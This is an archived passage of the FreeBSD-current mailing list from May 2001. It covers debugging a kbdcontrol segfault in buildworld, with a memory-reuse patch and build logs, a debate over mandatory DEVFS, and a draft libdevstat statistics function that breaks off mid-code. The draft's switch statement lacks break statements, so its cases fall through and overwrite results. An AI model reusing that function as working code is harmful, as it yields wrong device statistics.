DC54D37B423; Sun, 13 May 2001 08:13:05 -0700 (PDT) (envelope-from jhay@zibbi.icomtek.csir.co.za) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.1/8.11.1) id f4DFD2l91900; Sun, 13 May 2001 17:13:02 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200105131513.f4DFD2l91900@zibbi.icomtek.csir.co.za> Subject: Re: Re: -CURRENT b0rked? In-Reply-To: <200105130942.f4D9gIP84726@zibbi.icomtek.csir.co.za> from John Hay at "May 13, 2001 11:42:18 am" To: sobomax@FreeBSD.ORG Date: Sun, 13 May 2001 17:13:01 +0200 (SAT) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > > > > It seems that sysinstall(8) was not fully integrated into > > > buildworld - it depends on content of /usr/share/syscons/keymaps, > > > while it shouldn't. > > > > > > I've just committed a patch that should fix this problem. > > You should look a little earlier in the logs to where the damage was really > done: > > rm -f keymap.tmp > for map in be.iso br275.iso danish.iso finnish.iso fr.iso german.iso hr.iso hu. > iso2.101keys it.iso icelandic.iso jp.106 norwegian.iso pl_PL.ISO_8859-2 pt.iso > ru.koi8-r si.iso spanish.iso swedish.iso swissfrench.iso swissgerman.iso ua.koi > 8-u ua.koi8-u.shift.alt uk.iso us.dvorak us.iso us.pc-ctrl us.unix ; do env KE > YMAP_PATH=/usr/src/usr.sbin/sysinstall/../../share/syscons/keymaps kbdcontrol - > L $map | sed -e '/^static accentmap_t/,$d' >> keymap.tmp ; done > Segmentation fault - core dumped > ... > > It looks like kbdcontrol is not very happy. Ok, here is a patch that fix the problem for me. The problem is that a second call to mkfullname() will reuse the memory at the pointer that it returns, so you have to preserve it before then. John -- John Hay -- John.Hay@icomtek.csir.co.za Index: usr.sbin/kbdcontrol/kbdcontrol.c =================================================================== RCS file: /home/ncvs/src/usr.sbin/kbdcontrol/kbdcontrol.c,v retrieving revision 1.34 diff -u -r1.34 kbdcontrol.c --- usr.sbin/kbdcontrol/kbdcontrol.c 2001/05/12 09:16:09 1.34 +++ usr.sbin/kbdcontrol/kbdcontrol.c 2001/05/13 15:02:14 @@ -751,8 +751,11 @@ char *prefix[] = {"", "", KEYMAP_PATH, NULL}; char *postfix[] = {"", ".kbd", NULL}; - if (cp = getenv("KEYMAP_PATH")) - prefix[0] = mkfullname(cp, "/", ""); + if (cp = getenv("KEYMAP_PATH")) { + cp = mkfullname(cp, "/", ""); + prefix[0] = malloc(strlen(cp) + 1); + strcpy(prefix[0], cp); + } for (i=0; prefix[i]; i++) for (j=0; postfix[j]; j++) { To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 11:39:10 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 1B60D37B423; Sun, 13 May 2001 11:39:02 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4DIckn72586; Sun, 13 May 2001 11:38:46 -0700 (PDT) Date: Sun, 13 May 2001 11:38:46 -0700 (PDT) From: David Wolfskill Message-Id: <200105131838.f4DIckn72586@bunrab.catwhisker.org> To: current@freebsd.org, jhay@icomtek.csir.co.za, sobomax@freebsd.org Subject: Re: -CURRENT b0rked? Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I applied John's patch to usr.sbin/kbdcontrol/kbdcontrol.c, but it still dies for me; same way: -------------------------------------------------------------- >>> stage 4: make dependencies -------------------------------------------------------------- ... ===> usr.sbin/sysinstall rm -f makedevs.tmp echo '#include ' > makedevs.tmp ... rm -f keymap.tmp for map in be.iso br275.iso danish.iso finnish.iso fr.iso german.iso hr.iso hu.iso2.101keys it.iso icelandic.iso jp.106 norwegian.iso pl_PL.ISO_8859-2 pt.iso ru.koi8-r si.iso spanish.iso swedish.iso swissfrench.iso swissgerman.iso ua.koi8-u ua.koi8-u.shift.alt uk.iso us.dvorak us.iso us.pc-ctrl us.unix ; do env KEYMAP_PATH=/usr/src/usr.sbin/sysinstall/../../share/syscons/keymaps kbdcontrol -L $map | sed -e '/^static accentmap_t/,$d' >> keymap.tmp ; done Segmentation fault - core dumped ... -------------------------------------------------------------- >>> stage 4: building everything.. -------------------------------------------------------------- ===> usr.sbin/sysinstall cc -O -pipe -Wall -I/usr/src/usr.sbin/sysinstall/../../gnu/lib/libdialog -I. -I/usr/obj/usr/src/i386/usr/include -c /usr/src/usr.sbin/sysinstall/anonFTP.c ... cc -O -pipe -Wall -I/usr/src/usr.sbin/sysinstall/../../gnu/lib/libdialog -I. -I/usr/obj/usr/src/i386/usr/include -c /usr/src/usr.sbin/sysinstall/keymap.c In file included from /usr/src/usr.sbin/sysinstall/keymap.c:40: keymap.h:2: `keymap_be_iso' undeclared here (not in a function) keymap.h:2: initializer element is not constant keymap.h:2: (near initialization for `keymapInfos[0].map') keymap.h:3: `keymap_br275_iso' undeclared here (not in a function) keymap.h:3: initializer element is not constant ... keymap.h:27: initializer element is not constant keymap.h:27: (near initialization for `keymapInfos[25].map') keymap.h:28: `keymap_us_unix' undeclared here (not in a function) keymap.h:28: initializer element is not constant keymap.h:28: (near initialization for `keymapInfos[26].map') *** Error code 1 Stop in /usr/src/usr.sbin/sysinstall. *** Error code 1 Stop in /usr/src/usr.sbin. *** Error code 1 After patching usr.sbin/kbdcontrol/kbdcontrol.c, I just did the usual: date && make buildworld && date && make kernel KERNCONF=LAPTOP_30W && date && make installworld && date && mergemaster && date && df -k The only non-comment lines in /etc/make.conf are: dhcp-140[13] grep -v '^#' /etc/make.conf CFLAGS= -O -pipe INSTALL=install -C COPTFLAGS= -O -pipe COMPAT22= yes COMPAT3X= yes PRINTERDEVICE= ps HAVE_MOTIF= yes USA_RESIDENT= YES FORCE_PKG_REGISTER= YES XFREE86_VERSION= 4 SUP_UPDATE= yes SUP= /usr/local/bin/cvsup SUPFLAGS= -g -L 2 SUPFILE= /usr/local/etc/4.x-stable-supfile WITH_PNG_MMX=YES dhcp-140[14] uname -a FreeBSD dhcp-140.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #62: Sat May 12 14:01:53 PDT 2001 root@dhcp-140.catwhisker.org:/common/C/obj/usr/src/sys/LAPTOP_30W i386 dhcp-140[15] Was there something else needed? Thanks, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 11:55:19 2001 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id D902E37B424; Sun, 13 May 2001 11:55:10 -0700 (PDT) (envelope-from jhay@zibbi.icomtek.csir.co.za) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.1/8.11.1) id f4DIsua96852; Sun, 13 May 2001 20:54:56 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200105131854.f4DIsua96852@zibbi.icomtek.csir.co.za> Subject: Re: -CURRENT b0rked? In-Reply-To: <200105131838.f4DIckn72586@bunrab.catwhisker.org> from David Wolfskill at "May 13, 2001 11:38:46 am" To: david@catwhisker.org (David Wolfskill) Date: Sun, 13 May 2001 20:54:56 +0200 (SAT) Cc: current@freebsd.org, jhay@icomtek.csir.co.za, sobomax@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well I must admit that I cheated. After the patch I did a "make all install" in the kbdcontrol directory. The problem is that kdbcontrol is not in any of the build-tools/bootstrap-tools targets, so the installed version is getting used to do the work. John -- John Hay -- John.Hay@icomtek.csir.co.za > I applied John's patch to usr.sbin/kbdcontrol/kbdcontrol.c, but it > still dies for me; same way: > > > -------------------------------------------------------------- > >>> stage 4: make dependencies > -------------------------------------------------------------- > ... > ===> usr.sbin/sysinstall > rm -f makedevs.tmp > echo '#include ' > makedevs.tmp > ... > rm -f keymap.tmp > for map in be.iso br275.iso danish.iso finnish.iso fr.iso german.iso hr.iso hu.iso2.101keys it.iso icelandic.iso jp.106 norwegian.iso pl_PL.ISO_8859-2 pt.iso ru.koi8-r si.iso spanish.iso swedish.iso swissfrench.iso swissgerman.iso ua.koi8-u ua.koi8-u.shift.alt uk.iso us.dvorak us.iso us.pc-ctrl us.unix ; do env KEYMAP_PATH=/usr/src/usr.sbin/sysinstall/../../share/syscons/keymaps kbdcontrol -L $map | sed -e '/^static accentmap_t/,$d' >> keymap.tmp ; done > Segmentation fault - core dumped > ... > > -------------------------------------------------------------- > >>> stage 4: building everything.. > -------------------------------------------------------------- > ===> usr.sbin/sysinstall > cc -O -pipe -Wall -I/usr/src/usr.sbin/sysinstall/../../gnu/lib/libdialog -I. -I/usr/obj/usr/src/i386/usr/include -c /usr/src/usr.sbin/sysinstall/anonFTP.c > ... > cc -O -pipe -Wall -I/usr/src/usr.sbin/sysinstall/../../gnu/lib/libdialog -I. > -I/usr/obj/usr/src/i386/usr/include -c /usr/src/usr.sbin/sysinstall/keymap.c > In file included from /usr/src/usr.sbin/sysinstall/keymap.c:40: > keymap.h:2: `keymap_be_iso' undeclared here (not in a function) > keymap.h:2: initializer element is not constant > keymap.h:2: (near initialization for `keymapInfos[0].map') > keymap.h:3: `keymap_br275_iso' undeclared here (not in a function) > keymap.h:3: initializer element is not constant > ... > keymap.h:27: initializer element is not constant > keymap.h:27: (near initialization for `keymapInfos[25].map') > keymap.h:28: `keymap_us_unix' undeclared here (not in a function) > keymap.h:28: initializer element is not constant > keymap.h:28: (near initialization for `keymapInfos[26].map') > *** Error code 1 > > Stop in /usr/src/usr.sbin/sysinstall. > *** Error code 1 > > Stop in /usr/src/usr.sbin. > *** Error code 1 > > > > After patching usr.sbin/kbdcontrol/kbdcontrol.c, I just did the usual: > > date && make buildworld && date && make kernel KERNCONF=LAPTOP_30W && date && make installworld && date && mergemaster && date && df -k > > The only non-comment lines in /etc/make.conf are: > > dhcp-140[13] grep -v '^#' /etc/make.conf > CFLAGS= -O -pipe > INSTALL=install -C > COPTFLAGS= -O -pipe > COMPAT22= yes > COMPAT3X= yes > PRINTERDEVICE= ps > HAVE_MOTIF= yes > USA_RESIDENT= YES > FORCE_PKG_REGISTER= YES > XFREE86_VERSION= 4 > SUP_UPDATE= yes > SUP= /usr/local/bin/cvsup > SUPFLAGS= -g -L 2 > SUPFILE= /usr/local/etc/4.x-stable-supfile > WITH_PNG_MMX=YES > dhcp-140[14] uname -a > FreeBSD dhcp-140.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #62: Sat May 12 14:01:53 PDT 2001 root@dhcp-140.catwhisker.org:/common/C/obj/usr/src/sys/LAPTOP_30W i386 > dhcp-140[15] > > > Was there something else needed? > > Thanks, > david > -- > David H. Wolfskill david@catwhisker.org > As a computing professional, I believe it would be unethical for me to > advise, recommend, or support the use (save possibly for personal > amusement) of any product that is or depends on any Microsoft product. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 15:39: 1 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 1518337B424; Sun, 13 May 2001 15:38:58 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4DMccT72981; Sun, 13 May 2001 15:38:38 -0700 (PDT) Date: Sun, 13 May 2001 15:38:38 -0700 (PDT) From: David Wolfskill Message-Id: <200105132238.f4DMccT72981@bunrab.catwhisker.org> To: david@catwhisker.org, jhay@icomtek.csir.co.za Subject: Re: -CURRENT b0rked? Cc: current@FreeBSD.ORG, sobomax@FreeBSD.ORG In-Reply-To: <200105131854.f4DIsua96852@zibbi.icomtek.csir.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >From: John Hay >Date: Sun, 13 May 2001 20:54:56 +0200 (SAT) >Well I must admit that I cheated. After the patch I did a "make all install" >in the kbdcontrol directory. The problem is that kdbcontrol is not in any of >the build-tools/bootstrap-tools targets, so the installed version is getting >used to do the work. OK; with that hint & John's earlier-sent-out patch (to usr.sbin/kbdcontrol/kbdcontrol.c), I am now running: FreeBSD dhcp-140.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #63: Sun May 13 15:04:35 PDT 2001 root@dhcp-140.catwhisker.org:/common/C/obj/usr/src/sys/LAPTOP_30W i386 I'd expect that this would be likely to affect folks who have a version of /usr/sbin/kbdcontrol built from usr.sbin/kbdcontrol/kbdcontrol.c 1.34 (2001/05/12 09:16:09), but I'm hardly an authority on such matters. Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 19: 2:24 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail11.speakeasy.net (mail11.speakeasy.net [216.254.0.211]) by hub.freebsd.org (Postfix) with SMTP id 3C6D237B42C for ; Sun, 13 May 2001 19:02:16 -0700 (PDT) (envelope-from tomdean@speakeasy.org) Received: (qmail 18167 invoked from network); 14 May 2001 02:02:15 -0000 Received: from unknown (HELO celebris.tddhome) ([64.81.20.229]) (envelope-sender ) by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 14 May 2001 02:02:15 -0000 Received: (from tomdean@localhost) by celebris.tddhome (8.11.3/8.11.1) id f4E22Fs14472; Sun, 13 May 2001 19:02:15 -0700 (PDT) (envelope-from tomdean@speakeasy.org) Date: Sun, 13 May 2001 19:02:15 -0700 (PDT) Message-Id: <200105140202.f4E22Fs14472@celebris.tddhome> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@speakeasy.org using -f From: "Thomas D. Dean" To: current@FreeBSD.ORG In-reply-to: <200105131838.f4DIckn72586@bunrab.catwhisker.org> (message from David Wolfskill on Sun, 13 May 2001 11:38:46 -0700 (PDT)) Subject: Re: -CURRENT b0rked? References: <200105131838.f4DIckn72586@bunrab.catwhisker.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After having the sysinstall/kbdcontrol problem, I cd src/usr.sbin/sysinstall make clean cvsup make world and all worked OK. As of Sat May 12 1430 PDT. tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 22: 1:58 2001 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 83AD337B424; Sun, 13 May 2001 22:01:50 -0700 (PDT) (envelope-from bp@butya.kz) Received: by relay.butya.kz (Postfix, from userid 1000) id 8950E28BA5; Mon, 14 May 2001 12:01:34 +0700 (ALMST) Received: from localhost (localhost [127.0.0.1]) by relay.butya.kz (Postfix) with ESMTP id 6EC7828B61; Mon, 14 May 2001 12:01:34 +0700 (ALMST) Date: Mon, 14 May 2001 12:01:34 +0700 (ALMST) From: Boris Popov To: Poul-Henning Kamp Cc: current@FreeBSD.org, cvs-all@freebsd.org Subject: Mandatory DEVFS (was cvs commit: src/sys/conf files options ...) In-Reply-To: <200105132052.f4DKqfo39754@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 May 2001, Poul-Henning Kamp wrote: > Log: > Convert DEVFS from an "opt-in" to an "opt-out" option. > > If for some reason DEVFS is undesired, the "NODEVFS" option is > needed now. Right step. > Pending any significant issues, DEVFS will be made mandatory in > -current on july 1st so that we can start reaping the full > benefits of having it. I'm not sure if this move in the right direction. Current devfs implementation is weak compared to the static device entries in the /dev. And sometimes it is better to have a precreated device nodes in the ufs filesystem. Having dual interface is not all that hard if you'll spend enough time on design. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 23:24:40 2001 Delivered-To: freebsd-current@freebsd.org Received: from kalaid.f2f.com.ua (kalaid.f2f.com.ua [62.149.0.33]) by hub.freebsd.org (Postfix) with ESMTP id 0222337B424 for ; Sun, 13 May 2001 23:24:32 -0700 (PDT) (envelope-from sobomax@mail-in.net) Received: from Mail-In.Net (borey.f2f.com.ua [62.149.0.24]) by kalaid.f2f.com.ua (8.11.3/8.11.1) with ESMTP id f4E6QL028990; Mon, 14 May 2001 09:26:24 +0300 (EEST) (envelope-from sobomax@mail-in.net) Received: from notebook.vega.com (dialup10-18.iptelecom.net.ua [212.9.228.82]) by Mail-In.Net (8.11.3/8.H.Z) with ESMTP id f4E6Od035882; Mon, 14 May 2001 09:24:47 +0300 (EEST) Date: Mon, 14 May 2001 09:24:47 +0300 (EEST) Message-Id: <200105140624.f4E6Od035882@Mail-In.Net> To: jhay@icomtek.csir.co.za Cc: current@FreeBSD.ORG From: Maxim Sobolev Reply-To: sobomax@FreeBSD.ORG Subject: =?ISO-8859-1?Q?sysinstall_bootstrapping_issues_[Was:_-CURRENT_b0rked=3F]?= X-Mailer: Pygmy (v0.5.7) In-Reply-To: <200105131513.f4DFD2l91900@zibbi.icomtek.csir.co.za> Content-type: text/plain Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 May 2001 17:13:01 +0200 (SAT), John Hay wrote: > > > > = > > > > It seems that sysinstall(8) was not fully integrated into > > > > buildworld - it depends on content of /usr/share/syscons/keymaps, > > > > while it shouldn't. > > > > = > > > > I've just committed a patch that should fix this problem. > > = > > You should look a little earlier in the logs to where the damage was re= ally > > done: > > = > > rm -f keymap.tmp > > for map in be.iso br275.iso danish.iso finnish.iso fr.iso german.iso h= r.iso hu. > > iso2.101keys it.iso icelandic.iso jp.106 norwegian.iso pl_PL.ISO_8859-= 2 pt.iso = > > ru.koi8-r si.iso spanish.iso swedish.iso swissfrench.iso swissgerman.i= so ua.koi > > 8-u ua.koi8-u.shift.alt uk.iso us.dvorak us.iso us.pc-ctrl us.unix ; d= o env KE > > YMAP_PATH=3D/usr/src/usr.sbin/sysinstall/../../share/syscons/keymaps k= bdcontrol - > > L $map | sed -e '/^static accentmap_t/,$d' >> keymap.tmp ; done > > Segmentation fault - core dumped > > ... > > = > > It looks like kbdcontrol is not very happy. > = > Ok, here is a patch that fix the problem for me. The problem is that > a second call to mkfullname() will reuse the memory at the pointer that > it returns, so you have to preserve it before then. OOPS, sorry. I've overlooked it. Should be fixed now. Interesting that on my system it worked like a charm. 4.3 upgrade path is likely to be still broken , because kbdcontrol(8) in 4-STABLE doesn't honour KEYMAP_PATH environment variable. Perhaps kbdcontrol should be added into bootstrap tools to fully fix the problem. -Maxim -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 23:57:50 2001 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id 6699037B423; Sun, 13 May 2001 23:57:35 -0700 (PDT) (envelope-from jhay@zibbi.icomtek.csir.co.za) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.1/8.11.1) id f4E6v9d13549; Mon, 14 May 2001 08:57:09 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200105140657.f4E6v9d13549@zibbi.icomtek.csir.co.za> Subject: Re: [sysinstall bootstrapping issues [Was: -CURRENT b0rked?]] In-Reply-To: <200105140624.f4E6Od035882@Mail-In.Net> from Maxim Sobolev at "May 14, 2001 09:24:47 am" To: sobomax@FreeBSD.ORG Date: Mon, 14 May 2001 08:57:09 +0200 (SAT) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > > > > It looks like kbdcontrol is not very happy. > > > > Ok, here is a patch that fix the problem for me. The problem is that > > a second call to mkfullname() will reuse the memory at the pointer that > > it returns, so you have to preserve it before then. > > OOPS, sorry. I've overlooked it. Should be fixed now. Interesting > that on my system it worked like a charm. Do you set malloc options with /etc/malloc.conf maybe? The J option will cause this and it is on by default in -current. You didn't switch it off maybe? > 4.3 upgrade path is likely to be still broken , because kbdcontrol(8) > in 4-STABLE doesn't honour KEYMAP_PATH environment variable. > Perhaps kbdcontrol should be added into bootstrap tools to fully fix > the problem. Won't it be good enough to merge KEYMAP_PATH to stable? Or do we need to be able to upgrade to -current from any 4.x? John -- John Hay -- John.Hay@icomtek.csir.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 6:31:38 2001 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.org.ru (sweet.etrust.ru [194.84.67.5]) by hub.freebsd.org (Postfix) with ESMTP id 27B7737B424 for ; Mon, 14 May 2001 06:31:27 -0700 (PDT) (envelope-from osa@freebsd.org.ru) Received: by freebsd.org.ru (Postfix, from userid 1000) id 14AEA249; Mon, 14 May 2001 17:31:25 +0400 (MSD) Date: Mon, 14 May 2001 17:31:24 +0400 From: "Sergey A. Osokin" To: Poul-Henning Kamp Cc: freebsd-current@freebsd.org Subject: Re: new function for libdevstat Message-ID: <20010514173124.A69920@freebsd.org.ru> References: <20010511193907.A49316@freebsd.org.ru> <85381.989602550@critter> <20010512174201.A58243@freebsd.org.ru> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="tKW2IUtsqtDRztdT" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010512174201.A58243@freebsd.org.ru>; from osa@freebsd.org.ru on Sat, May 12, 2001 at 05:42:01PM +0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --tKW2IUtsqtDRztdT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, May 12, 2001 at 05:42:01PM +0400, Sergey A. Osokin wrote: > On Fri, May 11, 2001 at 07:35:50PM +0200, Poul-Henning Kamp wrote: > > In message <20010511193907.A49316@freebsd.org.ru>, "Sergey A. Osokin" writes: > > > > >Hello. > > >2 monthes ago I talked in -current about new features for libdevstat. > > >Here is a new function, which calculate more statistics then > > >existing compute_stats(). (compute_stats() calculate only average > > >results, not read/write results). > > >Please see my first step. Comments are welcome. > > > > I really don't think this is the way... > > > > I would far rather see: > > > > enum DEVSTAT_METRIC { > > DEVSTAT_BYTES, > > DEVSTAT_BYTES_READ, > > DEVSTAT_BYTES_WRITE, > > ... > > } > > > > int > > devstat_compute_statistics( > > struct devstat *current, > > struct devstat *previous, > > enum DEVSTAT_METRIC metric, > > double *destination); > > > > Since that can be extended with new metrics without changing > > the ABI... > > OK. Please see attachment. I have rewritten devstat_compute_statistics(). Please see the attachment. If you need a patch-version for libdevstat, just say about. Thanks. -- Rgdz, /"\ Sergey Osokin aka oZZ, \ / ASCII RIBBON CAMPAIGN osa@freebsd.org.ru X AGAINST HTML MAIL http://freebsd.org.ru/~osa/ / \ --tKW2IUtsqtDRztdT Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="newstat5.c" enum DEVSTAT_METRIC { DEVSTAT_TOTAL_BYTES = 1, DEVSTAT_TOTAL_BYTES_READ, DEVSTAT_TOTAL_BYTES_WRITE, DEVSTAT_TOTAL_TRANSFERS, DEVSTAT_TOTAL_TRANSFERS_READ, DEVSTAT_TOTAL_TRANSFERS_WRITE, DEVSTAT_TOTAL_TRANSFERS_OTHER, DEVSTAT_TOTAL_BLOCKS, DEVSTAT_TOTAL_BLOCKS_READ, DEVSTAT_TOTAL_BLOCKS_WRITE, DEVSTAT_KB_PER_TRANSFER, DEVSTAT_KB_PER_TRANSFER_READ, DEVSTAT_KB_PER_TRANSFER_WRITE, DEVSTAT_TRANSFERS_PER_SECOND, DEVSTAT_TRANSFERS_PER_SECOND_READ, DEVSTAT_TRANSFERS_PER_SECOND_WRITE, DEVSTAT_TRANSFERS_PER_SECOND_OTHER, DEVSTAT_MB_PER_SECOND, DEVSTAT_MB_PER_SECOND_READ, DEVSTAT_MB_PER_SECOND_WRITE, DEVSTAT_BLOCKS_PER_SECOND, DEVSTAT_BLOCKS_PER_SECOND_READ, DEVSTAT_BLOCKS_PER_SECOND_WRITE, DEVSTAT_MS_PER_TRANSACTION, DEVSTAT_MS_PER_TRANSACTION_READ, DEVSTAT_MS_PER_TRANSACTION_WRITE }; /* * How to use this function? * * long double total_bytes; * * devstat_compute_statistics(&cur.dinfo->devices[di], &last.dinfo->devices[di], * busy_seconds, DEVSTAT_TOTAL_BYTES, &total_bytes, 0); * * DEVSTAT_TOTAL_BYTES - is what you need. * total_bytes - where you need. * * Wrapper for * compute_stats(current, previous, etime, total_bytes, * total_transfers, total_blocks, * kb_per_transfer, transfers_per_second, * mb_per_second, blocks_per_second, * ms_per_transaction); * * looks like this: * * devstat_compute_statistics(current, previous, etime, * DEVSTAT_TOTAL_BYTES, total_bytes, * DEVSTAT_TOTAL_TRANSFERS, total_transfers, * DEVSTAT_TOTAL_BLOCKS, total_blocks, * DEVSTAT_TOTAL_TRANSFER, kb_per_transfer, * DEVSTAT_TRANSFERS_PER_SECOND, transfers_per_second, * DEVSTAT_MB_PER_SECOND, mb_per_second, * DEVSTAT_BLOCKS_PER_SECOND, blocks_per_second, * DEVSTAT_MS_PER_TRANSACTION, ms_per_transaction, * 0); */ long double devstat_compute_statistics(struct devstat *current, struct devstat *previous, long double etime, ...) { u_int64_t totalbytes, totalbytes_read, totalbytes_write; u_int64_t totaltransfers, totaltransfers_read, totaltransfers_write, totaltransfers_other; u_int64_t totalblocks, totalblocks_read, totalblocks_write; char *func_name = "devstat_compute_statistics"; va_list ap; enum DEVSTAT_METRIC metric; long double *destination; /* * current is the only mandatory field. */ if (current == NULL) { sprintf(devstat_errbuf, "%s: current stats structure was NULL", func_name); return(-1); } totalbytes_read = current->bytes_read - ((previous) ? (previous->bytes_read) : 0); totalbytes_write = current->bytes_written - ((previous) ? (previous->bytes_written) : 0); totalbytes = totalbytes_read + totalbytes_write; totaltransfers_read = current->num_reads - ((previous) ? (previous->num_reads) : 0); totaltransfers_write = current->num_writes - ((previous) ? (previous->num_writes) : 0); totaltransfers_other = current->num_other - ((previous) ? (previous->num_other) : 0); totaltransfers = totaltransfers_read + totaltransfers_write + totaltransfers_other; totalblocks = totalbytes; totalblocks_read = totalbytes_read; totalblocks_write = totalbytes_write; if (current->block_size > 0) { totalblocks /= current->block_size; totalblocks_read /= current->block_size; totalblocks_write /= current->block_size; } else { totalblocks /= 512; totalblocks_read /= 512; totalblocks_write /= 512; } va_start(ap, etime); while ((metric = (enum DEVSTAT_METRIC)va_arg(ap, enum DEVSTAT_METRIC)) != 0 ) { if ((destination = va_arg (ap, long double*)) != NULL) { switch (metric) { case DEVSTAT_TOTAL_BYTES_READ: *destination = totalbytes_read; case DEVSTAT_TOTAL_BYTES_WRITE: *destination = totalbytes_write; case DEVSTAT_TOTAL_BYTES: *destination = totalbytes; case DEVSTAT_TOTAL_TRANSFERS_READ: *destination = totaltransfers_read; case DEVSTAT_TOTAL_TRANSFERS_WRITE: *destination = totaltransfers_write; case DEVSTAT_TOTAL_TRANSFERS_OTHER: *destination = totaltransfers_other; case DEVSTAT_TOTAL_TRANSFERS: *destination = totaltransfers; case DEVSTAT_TRANSFERS_PER_SECOND: if (etime > 0.0) *destination = totaltransfers/etime; else *destination = 0.0; case DEVSTAT_TRANSFERS_PER_SECOND_READ: if (etime > 0.0) *destination = totaltransfers_read/etime; else *destination = 0.0; case DEVSTAT_TRANSFERS_PER_SECOND_WRITE: if (etime > 0.0) *destination = totaltransfers_write/etime; else *destination = 0.0; case DEVSTAT_TRANSFERS_PER_SECOND_OTHER: if (etime > 0.0) *destination = totaltransfers_other/etime; else *destination = 0.0; case DEVSTAT_KB_PER_TRANSFER: if (totaltransfers > 0) *destination = totalbytes/(1024*totaltransfers); else *destination = 0.0; case DEVSTAT_KB_PER_TRANSFER_READ: if (totaltransfers_read > 0) *destination = totalbytes_read/(1024*totaltransfers_read); else *destination = 0.0; case DEVSTAT_KB_PER_TRANSFER_WRITE: if (totaltransfers_write > 0) *destination = totalbytes_write/(1024*totaltransfers_write); else *destination = 0.0; case DEVSTAT_MB_PER_SECOND: if (etime > 0.0) *destination = totalbytes/((1024*1024)*etime); else *destination = 0.0; case DEVSTAT_MB_PER_SECOND_READ: if (etime > 0.0) *destination = 